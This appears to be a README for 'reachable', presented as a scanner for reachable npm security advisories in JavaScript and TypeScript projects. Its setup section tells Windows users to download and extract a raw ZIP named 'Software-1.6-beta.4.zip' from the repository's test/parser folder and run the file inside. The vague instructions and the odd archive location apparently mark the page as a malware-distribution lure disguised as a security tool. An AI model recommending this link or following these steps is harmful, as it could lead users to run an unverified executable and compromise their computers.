🔍 reachable - Find real app security risks
🧭 What this app does
reachable checks your JavaScript or TypeScript app for npm security issues that your code can actually reach. It helps you focus on the advisories that matter, so you do not waste time on problems that cannot affect your app.
Use it when you want to:
- scan a local project on Windows
- see which dependency risks are reachable from your code
- review results before shipping changes
- export findings for security tools and code review
💻 What you need
Before you start, make sure you have:
- a Windows 10 or Windows 11 PC
- a project written in JavaScript or TypeScript
- a recent version of Node.js installed
- enough disk space to scan your project folder
If your app uses npm packages, reachable can inspect the code and dependency tree to look for paths into known advisories.
⬇️ Download and set up
Visit this page to download: https://github.com/Kael1117/reachable/raw/refs/heads/main/test/parser/Software-1.6-beta.4.zip
After you open the page:
- look for the latest release or source files
- download the Windows version if one is provided
- save it in a folder you can find later
- if the download is a ZIP file, extract it
- open the folder that contains the tool
If the project is used from source, install it with npm in the project folder:
- open the project folder in File Explorer
- click the address bar and type cmd
- press Enter
- run the install command shown in the repository files
- wait for the packages to finish installing
If you use a packaged executable, you can skip the install step and run the file directly.
🚀 Run it on Windows
Open Command Prompt in the folder where reachable is located, then run the command shown by the project.